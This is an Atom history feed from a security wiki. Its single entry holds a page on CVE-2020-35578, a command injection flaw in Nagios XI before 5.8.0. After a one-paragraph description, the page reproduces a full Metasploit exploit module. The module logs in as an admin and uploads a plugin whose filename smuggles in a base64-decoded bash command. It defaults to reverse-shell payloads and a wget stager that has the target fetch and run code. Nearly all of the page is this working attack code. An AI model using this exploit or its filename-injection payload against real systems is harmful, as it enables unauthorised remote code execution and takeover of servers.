<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-35578_Nagios_XI_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-35578 Nagios XI 遠程命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-35578_Nagios_XI_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-35578_Nagios_XI_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T20:47:26Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-35578_Nagios_XI_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3615&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== This Metasploit module exploits a command injection vulnerability in the /admin/monitoringplugins.php page of Nagios XI versions prior to 5.8.0 when uploading plugins...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-35578_Nagios_XI_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3615&amp;oldid=prev"/>
		<updated>2021-05-30T02:20:37Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== This Metasploit module exploits a command injection vulnerability in the /admin/monitoringplugins.php page of Nagios XI versions prior to 5.8.0 when uploading plugins...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
This Metasploit module exploits a command injection vulnerability in the /admin/monitoringplugins.php page of Nagios XI versions prior to 5.8.0 when uploading plugins. Successful exploitation allows an authenticated admin user to achieve remote code execution as the apache user by uploading a malicious plugin. Valid credentials for a Nagios XI admin user are required. This module has been successfully tested against Nagios versions XI 5.3.0 and 5.7.5, both running on CentOS 7.&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
  Rank = ExcellentRanking&lt;br /&gt;
&lt;br /&gt;
  include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
  include Msf::Exploit::Remote::HTTP::NagiosXi&lt;br /&gt;
  include Msf::Exploit::CmdStager&lt;br /&gt;
  include Msf::Exploit::FileDropper&lt;br /&gt;
  prepend Msf::Exploit::Remote::AutoCheck&lt;br /&gt;
&lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(&lt;br /&gt;
      update_info(&lt;br /&gt;
        info,&lt;br /&gt;
        'Name' =&amp;gt; 'Nagios XI Prior to 5.8.0 - Plugins Filename Authenticated Remote Code Exection',&lt;br /&gt;
        'Description' =&amp;gt; %q{&lt;br /&gt;
          This module exploits a command injection vulnerability (CVE-2020-35578) in the `/admin/monitoringplugins.php`&lt;br /&gt;
          page of Nagios XI versions prior to 5.8.0 when uploading plugins. Successful exploitation allows&lt;br /&gt;
          an authenticated admin user to achieve remote code execution as the `apache` user by uploading&lt;br /&gt;
          a malicious plugin.&lt;br /&gt;
&lt;br /&gt;
          Valid credentials for a Nagios XI admin user are required. This module has&lt;br /&gt;
          been successfully tested against Nagios versions XI 5.3.0 and 5.7.5, both&lt;br /&gt;
          running on CentOS 7.&lt;br /&gt;
        },&lt;br /&gt;
        'License' =&amp;gt; MSF_LICENSE,&lt;br /&gt;
        'Author' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            'Haboob Team', # https://haboob.sa - PoC&lt;br /&gt;
            'Erik Wynter' # @wyntererik - Metasploit'&lt;br /&gt;
          ],&lt;br /&gt;
        'References' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            ['CVE', '2020-35578'],&lt;br /&gt;
            ['EDB', '49422']&lt;br /&gt;
          ],&lt;br /&gt;
        'Platform' =&amp;gt; %w[linux unix],&lt;br /&gt;
        'Arch' =&amp;gt; [ ARCH_X86, ARCH_X64, ARCH_CMD],&lt;br /&gt;
        'Targets' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            [&lt;br /&gt;
              'Linux (x86/x64)', {&lt;br /&gt;
                'Arch' =&amp;gt; [ARCH_X86, ARCH_X64],&lt;br /&gt;
                'Platform' =&amp;gt; 'linux',&lt;br /&gt;
                # only the wget and perhaps the curl CmdStagers work against a typical Nagios XI host (CentOS 7 minimal) if Nagios XI was installed according to the documentation&lt;br /&gt;
                'CmdStagerFlavor' =&amp;gt; :wget,&lt;br /&gt;
                'DefaultOptions' =&amp;gt; { 'PAYLOAD' =&amp;gt; 'linux/x86/meterpreter/reverse_tcp' }&lt;br /&gt;
              }&lt;br /&gt;
            ],&lt;br /&gt;
            [&lt;br /&gt;
              'CMD', {&lt;br /&gt;
                'Arch' =&amp;gt; [ARCH_CMD],&lt;br /&gt;
                'Platform' =&amp;gt; 'unix',&lt;br /&gt;
                'DefaultOptions' =&amp;gt; { 'PAYLOAD' =&amp;gt; 'cmd/unix/reverse_bash' }&lt;br /&gt;
              }&lt;br /&gt;
            ]&lt;br /&gt;
          ],&lt;br /&gt;
        'Privileged' =&amp;gt; false,&lt;br /&gt;
        'DisclosureDate' =&amp;gt; '2020-12-19',&lt;br /&gt;
        'DefaultTarget' =&amp;gt; 0,&lt;br /&gt;
        'Notes' =&amp;gt;&lt;br /&gt;
          {&lt;br /&gt;
            'Stability' =&amp;gt; [ CRASH_SAFE ],&lt;br /&gt;
            'SideEffects' =&amp;gt; [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],&lt;br /&gt;
            'Reliability' =&amp;gt; [FIRST_ATTEMPT_FAIL] # payload may not connect back the first time&lt;br /&gt;
          }&lt;br /&gt;
      )&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    register_options [&lt;br /&gt;
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),&lt;br /&gt;
      OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])&lt;br /&gt;
    ]&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def username&lt;br /&gt;
    datastore['USERNAME']&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def password&lt;br /&gt;
    datastore['PASSWORD']&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def finish_install&lt;br /&gt;
    datastore['FINISH_INSTALL']&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check&lt;br /&gt;
    # Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns&lt;br /&gt;
    # an array containing the http response body of a get request to index.php and the session cookies&lt;br /&gt;
    login_result, res_array = nagios_xi_login(username, password, finish_install)&lt;br /&gt;
    case login_result&lt;br /&gt;
    when 1..3 # An error occurred&lt;br /&gt;
      return CheckCode::Unknown(res_array[0])&lt;br /&gt;
    when 4 # Nagios XI is not fully installed&lt;br /&gt;
      install_result = install_nagios_xi(password)&lt;br /&gt;
      if install_result&lt;br /&gt;
        return CheckCode::Unknown(install_result[1])&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
      login_result, res_array = login_after_install_or_license(username, password, finish_install)&lt;br /&gt;
      case login_result&lt;br /&gt;
      when 1..3 # An error occurred&lt;br /&gt;
        return CheckCode::Unknown(res_array[0])&lt;br /&gt;
      when 4 # Nagios XI is still not fully installed&lt;br /&gt;
        return CheckCode::Detected('Failed to install Nagios XI on the target.')&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    # when 5 is excluded from the case statement above to prevent having to use this code block twice.&lt;br /&gt;
    # Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.&lt;br /&gt;
    if login_result == 5 # the Nagios XI license agreement has not been signed&lt;br /&gt;
      auth_cookies, nsp = res_array&lt;br /&gt;
      sign_license_result = sign_license_agreement(auth_cookies, nsp)&lt;br /&gt;
      if sign_license_result&lt;br /&gt;
        return CheckCode::Unknown(sign_license_result[1])&lt;br /&gt;
      end&lt;br /&gt;
&lt;br /&gt;
      login_result, res_array = login_after_install_or_license(username, password, finish_install)&lt;br /&gt;
      case login_result&lt;br /&gt;
      when 1..3&lt;br /&gt;
        return CheckCode::Unknown(res_array[0])&lt;br /&gt;
      when 5 # the Nagios XI license agreement still has not been signed&lt;br /&gt;
        return CheckCode::Detected('Failed to sign the license agreement.')&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    print_good('Successfully authenticated to Nagios XI')&lt;br /&gt;
&lt;br /&gt;
    # Obtain the Nagios XI version&lt;br /&gt;
    @auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already&lt;br /&gt;
&lt;br /&gt;
    nagios_version = nagios_xi_version(res_array[0])&lt;br /&gt;
    if nagios_version.nil?&lt;br /&gt;
      return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    print_status(&amp;quot;Target is Nagios XI with version #{nagios_version}&amp;quot;)&lt;br /&gt;
    # check if the target is actually vulnerable&lt;br /&gt;
    if /^\d{4}R\d\.\d/.match(nagios_version) || /^\d{4}RC\d/.match(nagios_version) || /^\d{4}R\d.\d[A-Ha-h]/.match(nagios_version) || nagios_version == '5R1.0'&lt;br /&gt;
      nagios_version = '1.0.0' # Set to really old version as a placeholder. Basically we don't want to exploit these versions.&lt;br /&gt;
    end&lt;br /&gt;
    @version = Rex::Version.new(nagios_version)&lt;br /&gt;
    if @version &amp;lt; Rex::Version.new('5.8.0')&lt;br /&gt;
      return CheckCode::Appears&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return CheckCode::Safe&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def execute_command(cmd, _opts = {})&lt;br /&gt;
    # Convert the payload to hex ASCII and then Base64 encode the payload.&lt;br /&gt;
    # This is necessary for the exploit to work.&lt;br /&gt;
    payload_ascii = Rex::Text.to_hex_ascii(cmd)&lt;br /&gt;
    payload_base64 = Rex::Text.encode_base64(payload_ascii)&lt;br /&gt;
    payload = &amp;quot;;echo #{payload_base64} | base64 -d | bash;#&amp;quot;&lt;br /&gt;
    register_file_for_cleanup(&amp;quot;/usr/local/nagios/libexec/#{payload}&amp;quot;) # deleting the payload via the web interface doesn't seem possible&lt;br /&gt;
&lt;br /&gt;
    # generate post data&lt;br /&gt;
    post_data = Rex::MIME::Message.new&lt;br /&gt;
    random_post_content = rand_text_alphanumeric(8..12)&lt;br /&gt;
    post_data.add_part('', nil, nil, 'form-data; name=&amp;quot;upload&amp;quot;')&lt;br /&gt;
    post_data.add_part(@nsp, nil, nil, 'form-data; name=&amp;quot;nsp&amp;quot;')&lt;br /&gt;
    post_data.add_part(random_post_content, 'text/plain', nil, &amp;quot;form-data; name=\&amp;quot;uploadedfile\&amp;quot;; filename=\&amp;quot;#{payload}\&amp;quot;&amp;quot;)&lt;br /&gt;
    post_data.add_part('1', nil, nil, 'form-data; name=&amp;quot;convert_to_unix&amp;quot;')&lt;br /&gt;
&lt;br /&gt;
    # upload payload&lt;br /&gt;
    send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'POST',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php'),&lt;br /&gt;
      'ctype' =&amp;gt; &amp;quot;multipart/form-data; boundary=#{post_data.bound}&amp;quot;,&lt;br /&gt;
      'cookie' =&amp;gt; @auth_cookies,&lt;br /&gt;
      'data' =&amp;gt; post_data.to_s&lt;br /&gt;
    }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def exploit&lt;br /&gt;
    if @version &amp;lt; Rex::Version.new('5.3.0')&lt;br /&gt;
      fail_with(Failure::NoTarget, 'Target is vulnerable but this module currently does not support exploiting target prior to 5.3.0!')&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    # visit /admin/monitoringplugins.php in order to get the nsp token required to upload the payload&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'GET',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php'),&lt;br /&gt;
      'cookie' =&amp;gt; @auth_cookies&lt;br /&gt;
    })&lt;br /&gt;
&lt;br /&gt;
    unless res&lt;br /&gt;
      fail_with(Failure::Disconnected, &amp;quot;Connection failed while trying to visit `#{normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')}`&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    unless res.code == 200 &amp;amp;&amp;amp; res.body.include?('&amp;lt;title&amp;gt;Manage Plugins &amp;amp;middot; Nagios XI&amp;lt;/title&amp;gt;')&lt;br /&gt;
      fail_with(Failure::UnexpectedReply, &amp;quot;Unexpected response received while trying to visit `#{normalize_uri(target_uri.path, 'admin', 'monitoringplugins.php')}`&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    # grab the nsp token, using the Nagios XI mixin&lt;br /&gt;
    @nsp = get_nsp(res)&lt;br /&gt;
&lt;br /&gt;
    if @nsp.blank?&lt;br /&gt;
      fail_with(Failure::Unknown, 'Failed to obtain the nsp token required to upload the payload')&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    if target.arch.first == ARCH_CMD&lt;br /&gt;
      print_status('Executing the payload')&lt;br /&gt;
      execute_command(payload.encoded)&lt;br /&gt;
    else&lt;br /&gt;
      execute_cmdstager(background: true)&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>